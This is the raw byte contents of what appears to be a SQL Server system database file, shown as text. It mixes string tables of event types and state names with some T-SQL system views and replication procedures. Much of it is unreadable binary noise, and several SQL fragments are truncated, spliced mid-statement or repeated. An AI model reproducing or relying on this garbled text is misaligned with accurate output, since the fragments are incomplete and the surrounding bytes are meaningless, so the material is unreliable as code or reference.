8!!!!` Y!u~J+0+ASPSSAFE_ACCESS03ASPSEXTERNAL_ACCESS0/ASPSUNSAFE_ACCESS0%AUSDCONTINUE0EAUSDSHUTDOWN SERVER INSTANCE01AUSDFAIL OPERATION0#AUTYDROPPED0+AUTYIN_ROW_DATA0%AUTYLOB_DATA07AUTYROW_OVERFLOW_DATA0BDTYDISK0%BDTYDISKETTE0BDTYTAPE0BDTYPIPE01BDTYVIRTUAL_DEVICE01BDTYREPLICA_DEVICE0CMPLNONE0CMPLROW0CMPLPAGE0+CMPLCOLUMNSTORE0ACPKPCRYPTOGRAPHIC PROVIDER0!DBFSONLINE0#DBFSOFFLINE0#DBFSOFFLINE0#DBFSOFFLINE0#DBFSDEFUNCT05DBFSRECOVERY_PENDING0#DBFSOFFLINE0'DBFSRESTORING0'DBFSRESTORING0	5DBFSRECOVERY_PENDING0
!DBFSONLINE0'DBFSRESTORING0#DBFSSUSPECT0DBFTROWS0DBFTLOG0)DBFTFILESTREAM01DBFTFILESTREAM_LOG0%DBFTFULLTEXT0DBPVNONE0;DBPVTORN_PAGE_DETECTION0%DBPVCHECKSUM0DBROFULL0+DBROBULK_LOGGED0!DBROSIMPLE0DBSIOFF0DBSION0=DBSIIN_TRANSITION_TO_OFF0;DBSIIN_TRANSITION_TO_ON0#DBSLUNKNOWN0DBSLOFF0DBSLFULL0!DBSTONLINE0'DBSTRESTORING0)DBSTRECOVERING05DBSTRECOVERY_PENDING0#DBSTSUSPECT0'DBSTEMERGENCY0#DBSTOFFLINE0#DBSTDEFUNCT0)DBUAMULTI_USER0+DBUASINGLE_USER03DBUARESTRICTED_USER0DCDBNONE0#DCDBPARTIAL0DCDBFULL0kDPCLOBJECT_OR_COLUMN_REFERENCE_NON_SCHEMA_BOUND0cDPCLOBJECT_OR_COLUMN_REFERENCE_SCHEMA_BOUND01DPCLTYPE_REFERENCE0SDPCLXML_SCHEMA_COLLECTION_REFERENCE0MDPCLPARTITION_FUNCTION_REFERENCE0EISDLOW0!EISDMEDIUM0EISDHIGH0/EISPGEOMETRY_GRID01EISPGEOGRAPHY_GRID09EISPGEOMETRY_AUTO_GRID0;EISPGEOGRAPHY_AUTO_GRID0%EITPGEOMETRY0'EITPGEOGRAPHY0%EITPGEOMETRY0'EITPGEOGRAPHY0EPCANONE0EPCANTLM0%EPCAKERBEROS0'EPCANEGOTIATE0+EPCACERTIFICATE07EPCANTLM, CERTIFICATE0?EPCAKERBEROS, CERTIFICATE0AEPCANEGOTIATE, CERTIFICATE07EPCACERTIFICATE, NTLM0	?EPCACERTIFICATE, KERBEROS0
AEPCACERTIFICATE, NEGOTIATE0EPCENONE0EPCERC40EPCEAES0'EPCENONE, RC40'EPCENONE, AES0%EPCERC4, AES0%EPCEAES, RC401EPCENONE, RC4, AES01EPCENONE, AES, RC40EPCS0#EPCSINITIAL0)EPCSCONNECTING0'EPCSCONNECTED0'EPCSLOGGED IN0!EPCSCLOSED0EPET0-EPETSIGNING ONLY0EPETRC40EPETAES0#EPLSINITIAL0=EPLSWAIT LOGIN NEGOTIATE0#EPLSONE ISC0#EPLSONE ASC0#EPLSTWO ISC0#EPLSTWO ASC05EPLSWAIT ISC Confirm05EPLSWAIT ASC Confirm0+EPLSWAIT REJECT0	AEPLSWAIT PRE-MASTER SECRET0
3EPLSWAIT VALIDATION05EPLSWAIT ARBITRATION0!EPLSONLINE0
EPLSERROR0EPMRNONE0#EPMRPARTNER0#EPMRWITNESS0EPMRALL0EPPRHTTP0EPPRTCP0+EPPRNAMED_PIPES0/EPPRSHARED_MEMORY0EPPRVIA0#EPSTSTARTED0#EPSTSTOPPED0%EPSTDISABLED0EPTYSOAP0EPTYTSQL01EPTYSERVICE_BROKER09EPTYDATABASE_MIRRORING0CEPTYCLOUDDB_ASYNC_TRANSPORT0KEPTYCLOUDDB_ASYNC_TRANSPORT_FWD0!EVTYINSERT0!EVTYUPDATE0!EVTYDELETE0-EVTYCREATE_TABLE0+EVTYALTER_TABLE0)EVTYDROP_TABLE0-EVTYCREATE_INDEX0+EVTYALTER_INDEX0)EVTYDROP_INDEX07EVTYCREATE_STATISTICS07EVTYUPDATE_STATISTICS03EVTYDROP_STATISTICS0"1EVTYCREATE_SYNONYM0$-EVTYDROP_SYNONYM0)+EVTYCREATE_VIEW0*)EVTYALTER_VIEW0+'EVTYDROP_VIEW035EVTYCREATE_PROCEDURE043EVTYALTER_PROCEDURE051EVTYDROP_PROCEDURE0=3EVTYCREATE_FUNCTION0>1EVTYALTER_FUNCTION0?/EVTYDROP_FUNCTION0G1EVTYCREATE_TRIGGER0H/EVTYALTER_TRIGGER0I-EVTYDROP_TRIGGER0JGEVTYCREATE_EVENT_NOTIFICATION0LCEVTYDROP_EVENT_NOTIFICATION0[+EVTYCREATE_TYPE0]'EVTYDROP_TYPE0e3EVTYCREATE_ASSEMBLY0f1EVTYALTER_ASSEMBLY0g/EVTYDROP_ASSEMBLY0+EVTYCREATE_USER0)EVTYALTER_USER0'EVTYDROP_USER0+EVTYCREATE_ROLE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J#o<`3s@W,d-X+
}:qN+~c@X_<{`3 eR!X="N
lE 


s
N

z]<!P

e
B
%
			{	X	1		hK0
|a@{V%zY$~[8eH-tO2W`
ZY).Ӫ^~8!!!!`~<a(|0h@9@ 8 
-- add it
create view sys.dm_pdw_nodes_os_tasks as
select *, convert(int, null) pdw_node_id from sys.dm_os_tasks
0@ 8CREATE VIEW INFORMATION_SCHEMA.TABLE_PRIVILEGES
AS
SELECT	
	USER_NAME(p.grantor_principal_id)	AS GRANTOR,
	USER_NAME(p.grantee_principal_id)	AS GRANTEE,
	DB_NAME()						AS TABLE_CATALOG,
	SCHEMA_NAME(o.schema_id)			AS TABLE_SCHEMA,
	o.name							AS TABLE_NAME,
	convert(varchar(10), CASE p.type
		WHEN 'RF' THEN 'REFERENCES'
		WHEN 'SL' THEN 'SELECT'
		WHEN 'IN' THEN 'INSERT'
		WHEN 'DL' THEN 'DELETE'
		WHEN 'UP' THEN 'UPDATE'
		END)						AS PRIVILEGE_TYPE,
	convert(varchar(3), CASE p.state
		WHEN 'G' THEN 'NO'
		WHEN 'W' THEN 'YES'
		END)						AS IS_GRANTABLE
FROM
	sys.objects o,
	sys.database_permissions p
WHERE
	o.type IN ('U', 'V')
	AND p.class = 1
	AND p.major_id = o.object_id
	AND p.minor_id = 0	-- all columns
 	AND p.type IN ('RF','IN','SL','UP','DL')
 	AND p.state IN ('W','G')
	AND (p.grantee_principal_id = 0
		OR p.grantee_principal_id = DATABASE_PRINCIPAL_ID()
		OR p.grantor_principal_id = DATABASE_PRINCIPAL_ID())
0_*@ 8create procedure sys.sp_MSsku_allows_replication
as
    IF (sys.fn_MSrepl_editionid ()  in (20, 21, 30,31))
    BEGIN
    	return 0
    END
       return 1
0: 8
--
-- Name:
--		fn_MSrepl_getdatatypemappings
--
-- Description:
--		Retrieve matching data type mappings for specified parameters
--
-- Returns:
--		Table of matching data type mappings
--
-- Security:
--		Internal
--
-- Notes:
--		
--

CREATE FUNCTION sys.fn_MSrepl_getdatatypemappings
(
	@source_dbms			sysname,
	@source_version			varchar(10) = NULL,
	@source_type			sysname,
	@source_length			bigint = NULL,
	@source_precision		int = NULL,
	@source_scale			int = NULL,
	@source_nullable		bit = 1,
	@destination_dbms		sysname,
	@destination_version	varchar(10) = NULL,
	@defaults_only			bit = 0,
	@mapping_id				int = NULL
)
RETURNS @retDataMap TABLE
(
	destination_type			sysname collate database_default,
	destination_length			bigint,
	destination_precision		bigint,
	destination_scale			int,
	destination_nullable		bit,
	destination_createparams	int,
	dataloss					bit,
	is_default					bit
)
AS
BEGIN
	IF (@mapping_id IS NOT NULL) AND (@mapping_id > 0)
	BEGIN
	INSERT INTO @retDataMap
		SELECT	destination_type,
				case
					when destination_length = -1 then @source_length
					else destination_length
				end,
				case
					when destination_precision = -1 then
						case
							when @source_scale > @source_precision then @source_scale
							else @source_precision
						end
					when ((destination_precision >  0) and (destination_scale > destination_precision)) then destination_scale
					else destination_precision
				end,
				case
					when destination_scale = -1 then @source_scale
					else destination_scale
				end,
				case
                    when destination_nullable = 0 then 0
                    else @source_nullable
                end,
				destination_createparams,
				dataloss,
				is_default
		FROM	sys.fn_helpdatatypemap
				(
					@source_dbms,
					@source_version,
					@source_type,
					@destination_dbms,
					@destination_version,
					'%',
					@defaults_only
				)
		WHERE	mapping_id = @mapping_id
	END
	ELSE
	BEGIN
		INSERT INTO @retDataMap
		SELECT	destination_type,
				case
					when destination_length = -1 then @source_length
					else destination_length
				end,
				case
					when destination_precision = -1 then
						case
							when @source_scale > @source_precision then @source_scale
							else @source_precision
						end
					when ((destination_precision >  0) and (destination_scale > destination_precision)) then destination_scale
					else destination_precision
				end,
				case
					when destination_scale = -1 then @source_scale
					else destination_scale
				end,
                case
                    when destination_nullable = 0 then 0
                    else @source_nullable
                end,
				destination_createparams,
				dataloss,
				is_default
		FROM	sys.fn_helpdatatypemap
				(
					@source_dbms,
					@source_version,
					@source_type,
					@destination_dbms,
					@destination_version,
					'%',
					@defaults_only
				)
		WHERE	(
					(source_length_min is null and source_length_max is null and @source_length is null) or
					(source_length_min = source_length_max) or
					(source_length_min is not null and
					 source_length_max is not null and
					 @source_length is not null and
					 @source_length between source_length_min and source_length_max
					)
				)
		  AND	(
					(source_precision_min is null and source_precision_max is null and @source_precision is null) or
					(source_precision_min is not null and
					 source_precision_max is not null and
					 @source_precision is not null and
					 @source_precision between source_precision_min and source_precision_max
					)
				)
		  AND	(
					(source_scale_min is null and source_scale_max is null and @source_scale is null) or
					(source_scale_min is not null and
					 source_scale_max is not null and
					 @source_scale is not null and
					 @source_scale between source_scale_min and source_scale_max
					)
				)
		  AND	(
                    (source_nullable = 1) or
                    (source_nullable = @source_nullable)
                ) 	  
	END 

	RETURN			
END
0DW0@ \8
/* For backward compatible */
create procedure sys.sp_publishdb @dbname sysname,@value nvarchar (5)
    AS

    DECLARE @retcode int

    EXECUTE @retcode = sys.sp_replicationdboption @dbname, 'publish', @value

    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
       RETURN (1)
    END

    RETURN(0)
0Ws% P8@h>K[0(+ 8
create procedure sys.sp_replshowcmds 
(
    @maxtrans int = 1
)
as
begin

    set nocount on
    declare @query nvarchar(1024)
                ,@retcode int

    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    if (sys.fn_MSrepl_istranpublished (db_name(),0) != 1)
    begin
        raiserror(18757, 16, -1)
        return (1)
    end

    select @query = N'exec sys.sp_replcmds ' + cast (@maxtrans as nvarchar(12))
    execute @retcode = sys.sp_printstatement @query
    return @retcode
end
0#@ 8create procedure sys.sp_MSwritemergeperfcounter 
(
    @agent_id int,
    @thread_num int,
    @counter_desc nvarchar(100),
    @counter_value int
)
AS
begin
	-- only sysadmin or db_owner have access to call this function
    if is_member('db_owner') <> 1
        return 1

	if object_id('MSmerge_perfcounters') is NULL
	begin
		create table dbo.MSmerge_perfcounters
		(
			agent_id int NOT NULL,
			thread_num int NULL,
			counter_desc nvarchar(100) NOT NULL,
			counter_value int NOT NULL,
			cur_time datetime NOT NULL
		)
	end

	insert into dbo.MSmerge_perfcounters values (@agent_id, @thread_num, @counter_desc, @counter_value, getdate())

	return 0
end
, 'sp_MSreset_queue')
        return (1)
    end
    --
    -- all done
    --
    return 0    
END
0_*@ 8create procedure sys.sp_MSsku_allows_replication
as
    IF (sys.fn_MSrepl_editionid ()  in (20, 21, 30,31))
    BEGIN
    	return 0
    END
       return 1
s.dm_os_hosts AS
	SELECT *
	FROM OpenRowSet(TABLE SYSHOSTS)
0G@ x8CREATE VIEW sys.dm_os_loaded_modules AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMODULES)
0緰@ ~8CREATE VIEW sys.dm_os_memory_allocations AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMALLOCS)
??u???yWL<*)<.&bh=`)X
Z<]u=^+,/8HD@"BR3VTtDQ!D`z͜i<}%BjP%!!!!`
Z*
^*8`
Zb.H*^"(8!!!!`o
U<74;l(0<[$]	]]?,0<55@B@k2I`w/F]t,CZq)@Wn&=T?????????????????????????????????!??d???f???h???j???l???n???p???r???t???v???x??y??????????????,???.???0???2???4???6???8???:???<???>???@???B?@?F???H??I??h???j???l???n???p???r??s??|??}0<[$]	]]?>>C2<,0<,0<,0<AB@@?@?@@B?0<\$Ac	aaJ?
ף<?(<AB@@&=Tk#:Qh	 7Ne|?????????????????????????????!??d???f???h??l???n??o@@@q@@@s???u???w???y?????@?A?,A?-??8@@?D@@?E@@@G??H0<]$	?p=p=		AA@@H_v???????.?@@?k???m???o???q???s??|0<]$	?=p=p=@AA@@@UXo'>@@?????f??p@@?q@?x????,???.??|??}0<^"0<_"0<_ "0<_"0<`"0<` "0<`"0<a"0<a"0<b "0<b`"0<u\{`"0<u\{`"0<|`"0<| "0<Xv "0<Xv "0<x "0<x "0<<8z "0<<8z "0<x}`"0<Xv "0<Xv "0<Xv "0<Xv "0<Xv "0<Xv "0<Xv	 "0<Xv
 "0<Xv "0<Xv "0<Xv
 "0<Xv "0<Xv "0<Xv "0<Xv "0<x "0<x "0<x "0<x "0<x "0<x "0<x	 "0<x
 "0<x "0<x "0<x
 "0<x "0<x "0<x "0<x "0<<8z "0<<8z "0<<8z "0<<8z "0<<8z "0<<8z "0<<8z	 "0<<8z
 "0<<8z "0<<8z "0<<8z
 "0<<8z "0<<8z "0<<8z "0<<8z "0<u\{ "0<u\{ "0<u\{ "0<u\{ "0<u\{ "0<u\{ "0<u\{	 "0<u\{
 "0<| "0<| "0<| "0<| "0<x} "<u\{
 "asQkI'}/
[9mK)?];oM+	_=qO-cA+	K`/C
<7@J0<6$=_/||p=!<!<9AB?sA@@
9f&O0??/ci_commit_ts0A?cl0B?clst0A?!clust0??/FFtUpdateIdx0??-FSTSClusIdx0??)FSTSNCIdx0A?nc0A?nc10 A?nc20@@?nc30??%nonclst0??)nonclstgi0@@?Aqueue_clustered_index0@@?Aqueue_secondary_index0??+si_xdes_id	(()clstustFSTSNCIdxnc12queue_clustered_index	@	|0<6$"9=		@^C@H_vB?@@???@?@@?@? ??@?B?0<6$u">@_C@@WnB?B?$B?@A?@?@?@@???0<6$xA$>?bC?T\,@B?B?PB?0<6$ArC%|A?;A	;AC@@Y8Of}5Lcz2I`w/F]t,CZq	)	@	W	n							
&
=
T
k






#:Qh	 7Ne|

4
K
b
y





1H_v.E\s+B??:@?q @?kTB???$??@@?2??FE0A?)??@?%??uv??/n??e@@?8PA?@@?t????D|@@?%0A?*A?'A?<@A?}ȟ??'@?JP@@??? P??"q@?ӟA?A?*h??F@?@?PA?|GA?jYA?ZR@?u"???eA???iS	@@?a??p0A?(.PA?֩@@?@@?\@?d????!E?????R????_@?/??J????R????{??B?????Z6?? ??zu??ƈ??i@?%.??4@M??
>????5??4X???=+"??
p??vZ????'??o??x??a7@@????	@@?@????????????@@?@@???@?"@?)@@?*@?+@?,??-@?.???0??1@@?2@?3@?6@@@8??9@?:???<??>???@@?@??A@@?C??D@@?E?@?I@?J@?K@?N???P???T??U@@?V??W@?Y@@@[??\@?]??^@@@@@@`@@@b@?Xv@@@|??x}	S@~'E?@
/u@|@I@>|U?
D`
Z#_^s8`lEVj0d:\YukSp2CU\sql\ntdbms\scripts\usa\x86\model.mdf0d:\YukSp2CU\sql\ntdbms\scripts\usa\x86\modellog.ldf!!!!`
	,]Є-.,ijpkql.mqnqoxpxqrs|I}|ftu	
	


qq  !!"	"#
#$$%%&
&''(())**++,-,.-/.0/102132415/65768798:9q:;9q;<6q<=6q=>/?>@?A@BACBDCEDFEGFHGIHJIKJLKLMKqMNHONPEPQEQRERSBST/UTVUWVXWYXYZXZ[X[\X\]X]^X^_X_`Xq`aX	bac/dcedfegfhgihXij/kjlkmlnmonpoqprqsrtsutvuwvxwyxzytz{x{|x|}v~}~t~qtttttqqqqqttttnkquuuuuuuuuuuuuuuuuuuuuuuqquuu1q
qqt1nn$*X:nACnLnMRnbqjXtuvyzq{|}nnnnqnqnnqq
Xnq q#/016789:<=q@ABEFOPQtRXVtWXt\^_1`a1bcdefghijkuouu{|}~uuuuuuuuuuunquuuuu
.

..
	

q
	qqt1n  !"!#"$#n$%#%&'&(')()*'*+,+-,.-./0/1021324354567698:9X:;7<;<=	8=>
?>@?A@nAB@BC?CDDEFEGFHGHI
JIKJLKnLMKnMNKNOKOPKQPRQRSQTSUKUVWVXWYXZY[Z\[]\^]_^`_a`banbcacd`de^`ef^`fg^hgihjiqjk[lkmlnm]noXopXhpqXrqsrtsXtuWuvWvyzq{|}nnnnqnqn 

							w	j	]	P	<"
1

{
n
T
G
:

	C	6	)	



-
			hAqWJ



`
S
>KsfYL?%o
z
bUH;.xk^QD7*tZM@3&}c,
xpV<"l_R8hN4'
^~qdW	`mD7*tgZvi\OB5(u'#r



2g+#0yl_REeX!yQM@3&V/8+[N4~d=0	


m
F
9
	u[AJ=kpI

$


a
	|}cI/Ez
ZEM$^8!!!!`E
<
3.J0<K$1i	ffd?8< < < < <//AB@?@@@x0G^u-D[r*AXo'>Ul@?@@?@@@@@@@@@
@@@@@@??????????????????????????? ???"???$???&???(???*???,???.???0??3???5???7???9???;???=???????A???C???E???G???I???K???M???O???Q???S???U???W???Y???[??\??@0<L$	??A@@@@?0<N"0<N"0<Z$\	\\?C2<C2<@AB@@@B?0<Z$1\	\\?C2<C2<C2<//@AB@@@x0G^u-D[r*AXo'>Ul??????????????	??????
??????????????????????????????!???#???%???'???)???+???-???/???1???3???5???7???9???;???=???????A???C???E???G???I???K???M???O???Q???S???U???W???Y???[??\0<R "0<U "0<V "0<V`"0<V`"0<W "0<P "0<T "0<Y "0<Y "0<O ""2

"3"3"3"3"3"3"3"3".".".t".". ".".".@".		".".".t".". ".".".@".		"_"_"_ "_"_"_"_"_"_		@"`"`"`"`"`"`"`"`"I"I"I

"I"I"I"I"I"I"I8"I"I"I8"I"I"I"^"^"^ "^"^@"^".".".t".". ".".".@".		".wR-tO*qL'nI[6}X$kF!hCe@



b
=

_:\7


~
Y
4

			{	V	1		xS.	uP+rM(oJ%lG"iDt	vTf2DR	0	`m/5Z8!!~o`
<7 h4)}qq q q kkkkk	
	


 ! "!#"$#%$&%'&(')(*)+*,+-,.-/.0/1021324354...11112222233333366667777777:::::;;;;;;<<<<@@@@AAAACCCCDDDEEEEEGHI>>>???	
8800//--999***++				ddd///%.%.%."@aaa$@22W#W#W#i\"",,666))))q q q kkkkk	
	


 ! "!#"$#%$&%'&(')(*)+*,+-,.-/.0/10J,xZ<jL.z\> lN0|^@"nP2~`
Z7:w.E^
\
a
e
x
8!!!!` ~Y&"D/0)EVTYALTER_ROLE0'EVTYDROP_ROLE0CEVTYCREATE_APPLICATION_ROLE0AEVTYALTER_APPLICATION_ROLE0?EVTYDROP_APPLICATION_ROLE0/EVTYCREATE_SCHEMA0-EVTYALTER_SCHEMA0+EVTYDROP_SCHEMA0-EVTYCREATE_LOGIN0+EVTYALTER_LOGIN0)EVTYDROP_LOGIN0EVTYLOGON0;EVTYCREATE_MESSAGE_TYPE09EVTYALTER_MESSAGE_TYPE07EVTYDROP_MESSAGE_TYPE03EVTYCREATE_CONTRACT0/EVTYDROP_CONTRACT0-EVTYCREATE_QUEUE0+EVTYALTER_QUEUE0)EVTYDROP_QUEUE0?EVTYBROKER_QUEUE_DISABLED01EVTYCREATE_SERVICE0/EVTYALTER_SERVICE0-EVTYDROP_SERVICE0-EVTYCREATE_ROUTE0+EVTYALTER_ROUTE0)EVTYDROP_ROUTE0-EVTYGRANT_SERVER0+EVTYDENY_SERVER0/EVTYREVOKE_SERVER01EVTYGRANT_DATABASE0/EVTYDENY_DATABASE03EVTYREVOKE_DATABASE05EVTYQUEUE_ACTIVATION0OEVTYCREATE_REMOTE_SERVICE_BINDING0MEVTYALTER_REMOTE_SERVICE_BINDING0KEVTYDROP_REMOTE_SERVICE_BINDING0MEVTYCREATE_XML_SCHEMA_COLLECTION0KEVTYALTER_XML_SCHEMA_COLLECTION0IEVTYDROP_XML_SCHEMA_COLLECTION03EVTYCREATE_ENDPOINT01EVTYALTER_ENDPOINT0/EVTYDROP_ENDPOINT0GEVTYCREATE_PARTITION_FUNCTION0EEVTYALTER_PARTITION_FUNCTION0CEVTYDROP_PARTITION_FUNCTION0CEVTYCREATE_PARTITION_SCHEME0AEVTYALTER_PARTITION_SCHEME0?EVTYDROP_PARTITION_SCHEME09EVTYCREATE_CERTIFICATE07EVTYALTER_CERTIFICATE05EVTYDROP_CERTIFICATE03EVTYCREATE_DATABASE01EVTYALTER_DATABASE0/EVTYDROP_DATABASE0IEVTYALTER_AUTHORIZATION_SERVER0MEVTYALTER_AUTHORIZATION_DATABASE05EVTYCREATE_XML_INDEX03EVTYADD_ROLE_MEMBER05EVTYDROP_ROLE_MEMBER0AEVTYADD_SERVER_ROLE_MEMBER0CEVTYDROP_SERVER_ROLE_MEMBER0CEVTYALTER_EXTENDED_PROPERTY0AEVTYALTER_FULLTEXT_CATALOG0=EVTYALTER_FULLTEXT_INDEX01EVTYALTER_INSTANCE0/EVTYALTER_MESSAGE05EVTYALTER_PLAN_GUIDE0;EVTYALTER_REMOTE_SERVER0-EVTYBIND_DEFAULT0'EVTYBIND_RULE01EVTYCREATE_DEFAULT0GEVTYCREATE_EXTENDED_PROCEDURE0EEVTYCREATE_EXTENDED_PROPERTY0CEVTYCREATE_FULLTEXT_CATALOG0?EVTYCREATE_FULLTEXT_INDEX0=EVTYCREATE_LINKED_SERVER0IEVTYCREATE_LINKED_SERVER_LOGIN01EVTYCREATE_MESSAGE07EVTYCREATE_PLAN_GUIDE0+EVTYCREATE_RULE0=EVTYCREATE_REMOTE_SERVER0-EVTYDROP_DEFAULT0CEVTYDROP_EXTENDED_PROCEDURE0AEVTYDROP_EXTENDED_PROPERTY0?EVTYDROP_FULLTEXT_CATALOG0;EVTYDROP_FULLTEXT_INDEX0EEVTYDROP_LINKED_SERVER_LOGIN0-EVTYDROP_MESSAGE03EVTYDROP_PLAN_GUIDE0'EVTYDROP_RULE09EVTYDROP_REMOTE_SERVER0!EVTYRENAME01EVTYUNBIND_DEFAULT0+EVTYUNBIND_RULE0=EVTYCREATE_SYMMETRIC_KEY0;EVTYALTER_SYMMETRIC_KEY09EVTYDROP_SYMMETRIC_KEY0?EVTYCREATE_ASYMMETRIC_KEY0=EVTYALTER_ASYMMETRIC_KEY0;EVTYDROP_ASYMMETRIC_KEY0EEVTYALTER_SERVICE_MASTER_KEY07EVTYCREATE_MASTER_KEY05EVTYALTER_MASTER_KEY03EVTYDROP_MASTER_KEY0KEVTYADD_SIGNATURE_SCHEMA_OBJECT0MEVTYDROP_SIGNATURE_SCHEMA_OBJECT0/EVTYADD_SIGNATURE01EVTYDROP_SIGNATURE07EVTYCREATE_CREDENTIAL05EVTYALTER_CREDENTIAL03EVTYDROP_CREDENTIAL09EVTYDROP_LINKED_SERVER0;EVTYALTER_LINKED_SERVER0=EVTYCREATE_EVENT_SESSION0	;EVTYALTER_EVENT_SESSION0
9EVTYDROP_EVENT_SESSION0=EVTYCREATE_RESOURCE_POOL0;EVTYALTER_RESOURCE_POOL0
9EVTYDROP_RESOURCE_POOL0?EVTYCREATE_WORKLOAD_GROUP0=EVTYALTER_WORKLOAD_GROUP0;EVTYDROP_WORKLOAD_GROUP0QEVTYALTER_RESOURCE_GOVERNOR_CONFIG0=EVTYCREATE_SPATIAL_INDEX0OEVTYCREATE_CRYPTOGRAPHIC_PROVIDER0MEVTYALTER_CRYPTOGRAPHIC_PROVIDER0KEVTYDROP_CRYPTOGRAPHIC_PROVIDER0QEVTYCREATE_DATABASE_ENCRYPTION_KEY0OEVTYALTER_DATABASE_ENCRYPTION_KEY0MEVTYDROP_DATABASE_ENCRYPTION_KEY0AEVTYCREATE_BROKER_PRIORITY0?EVTYALTER_BROKER_PRIORITY0=EVTYDROP_BROKER_PRIORITY0;EVTYCREATE_SERVER_AUDIT09EVTYALTER_SERVER_AUDIT(rN*VLa7G[wB^t/x?kJE
G{JB^1a$

]

2V!

r
1
		f		C`\-uL!g(xE{R's4`EkG/.1JE:0
E:$$TEannrEassENPPSENZZ]E
Z!EZH
QE
[R1E[#E\JSE]*
E]ECECECEGEE%%EE&&'EEEDE DE"HE$IE&^E'^N	O!E).E*.E+.@@AE,.BBCE-.DDEE/_E0_E1_E2_E4`E5`E6`E9
E=EAECEDEEEF	EG`EH
EI
EJEKELEM
ENEOEPEQWERES	EWvvwEXxxyEY~EZJKE\DFEE^E`EaEbEc Ed Ee!Ef!Eg"Eh"Ei#Ej#Ek$El%Em%En&Eo&Ep'Eq(Er)Es*Et+Eu,Ev-Ew.Ex.Ey/Ez/E{0E|1E}2E~3E4E5E6E7E8E9E9E:E:E;E<E=E9Qv-R	w.S
x/Ty0Uz1V
{2W|3X}4Y
~
5
Z6

[

		7	\8]9^:_;` Y7*,&~ASPS&EVTY&EVTY&EVTY&ITTYs` uY#&.07EVTYDROP_SERVER_AUDIT0WEVTYCREATE_SERVER_AUDIT_SPECIFICATION0 UEVTYALTER_SERVER_AUDIT_SPECIFICATION0!SEVTYDROP_SERVER_AUDIT_SPECIFICATION0"[EVTYCREATE_DATABASE_AUDIT_SPECIFICATION0#YEVTYALTER_DATABASE_AUDIT_SPECIFICATION0$WEVTYDROP_DATABASE_AUDIT_SPECIFICATION0%EEVTYCREATE_FULLTEXT_STOPLIST0&CEVTYALTER_FULLTEXT_STOPLIST0'AEVTYDROP_FULLTEXT_STOPLIST0(IEVTYALTER_SERVER_CONFIGURATION0)KEVTYCREATE_SEARCH_PROPERTY_LIST0*IEVTYALTER_SEARCH_PROPERTY_LIST0+GEVTYDROP_SEARCH_PROPERTY_LIST0,9EVTYCREATE_SERVER_ROLE0-7EVTYALTER_SERVER_ROLE0.5EVTYDROP_SERVER_ROLE0/3EVTYCREATE_SEQUENCE001EVTYALTER_SEQUENCE01/EVTYDROP_SEQUENCE02GEVTYCREATE_AVAILABILITY_GROUP03EEVTYALTER_AVAILABILITY_GROUP04CEVTYDROP_AVAILABILITY_GROUP0+EVTYAUDIT_LOGIN0-EVTYAUDIT_LOGOUT09EVTYAUDIT_LOGIN_FAILED0%EVTYEVENTLOG0%EVTYERRORLOG0/EVTYLOCK_DEADLOCK0	'EVTYEXCEPTION0
-EVTYSP_CACHEMISS01EVTYSP_CACHEINSERT01EVTYSP_CACHEREMOVE0
-EVTYSP_RECOMPILE01EVTYOBJECT_CREATED01EVTYOBJECT_DELETED0-EVTYHASH_WARNING0#;EVTYLOCK_DEADLOCK_CHAIN0$3EVTYLOCK_ESCALATION0%-EVTYOLEDB_ERRORS0+9EVTYEXECUTION_WARNINGS0-/EVTYSORT_WARNINGS07GEVTYMISSING_COLUMN_STATISTICS08AEVTYMISSING_JOIN_PREDICATE09=EVTYSERVER_MEMORY_CHANGE0:9EVTYUSERCONFIGURABLE_00;9EVTYUSERCONFIGURABLE_10<9EVTYUSERCONFIGURABLE_20=9EVTYUSERCONFIGURABLE_30>9EVTYUSERCONFIGURABLE_40?9EVTYUSERCONFIGURABLE_50@9EVTYUSERCONFIGURABLE_60A9EVTYUSERCONFIGURABLE_70B9EVTYUSERCONFIGURABLE_80C9EVTYUSERCONFIGURABLE_90D;EVTYDATA_FILE_AUTO_GROW0E9EVTYLOG_FILE_AUTO_GROW0F?EVTYDATA_FILE_AUTO_SHRINK0G=EVTYLOG_FILE_AUTO_SHRINK0NQEVTYAUDIT_DATABASE_SCOPE_GDR_EVENT0OOEVTYAUDIT_SCHEMA_OBJECT_GDR_EVENT0P=EVTYAUDIT_ADDLOGIN_EVENT0Q?EVTYAUDIT_LOGIN_GDR_EVENT0RWEVTYAUDIT_LOGIN_CHANGE_PROPERTY_EVENT0SWEVTYAUDIT_LOGIN_CHANGE_PASSWORD_EVENT0T]EVTYAUDIT_ADD_LOGIN_TO_SERVER_ROLE_EVENT0UCEVTYAUDIT_ADD_DB_USER_EVENT0VWEVTYAUDIT_ADD_MEMBER_TO_DB_ROLE_EVENT0W=EVTYAUDIT_ADD_ROLE_EVENT0X]EVTYAUDIT_APP_ROLE_CHANGE_PASSWORD_EVENT0ZUEVTYAUDIT_SCHEMA_OBJECT_ACCESS_EVENT0[IEVTYAUDIT_BACKUP_RESTORE_EVENT0\5EVTYAUDIT_DBCC_EVENT0]EEVTYAUDIT_CHANGE_AUDIT_EVENT0_5EVTYOLEDB_CALL_EVENT0`IEVTYOLEDB_QUERYINTERFACE_EVENT0a=EVTYOLEDB_DATAREAD_EVENT0b-EVTYSHOWPLAN_XML0eEEVTYDEPRECATION_ANNOUNCEMENT0fGEVTYDEPRECATION_FINAL_SUPPORT0g=EVTYEXCHANGE_SPILL_EVENT0hSEVTYAUDIT_DATABASE_MANAGEMENT_EVENT0iaEVTYAUDIT_DATABASE_OBJECT_MANAGEMENT_EVENT0jgEVTYAUDIT_DATABASE_PRINCIPAL_MANAGEMENT_EVENT0k]EVTYAUDIT_SCHEMA_OBJECT_MANAGEMENT_EVENT0liEVTYAUDIT_SERVER_PRINCIPAL_IMPERSONATION_EVENT0mmEVTYAUDIT_DATABASE_PRINCIPAL_IMPERSONATION_EVENT0neEVTYAUDIT_SERVER_OBJECT_TAKE_OWNERSHIP_EVENT0oiEVTYAUDIT_DATABASE_OBJECT_TAKE_OWNERSHIP_EVENT0qAEVTYBLOCKED_PROCESS_REPORT0zSEVTYSHOWPLAN_XML_STATISTICS_PROFILE0|1EVTYDEADLOCK_GRAPH0~5EVTYTRACE_FILE_CLOSE0KEVTYAUDIT_CHANGE_DATABASE_OWNER0e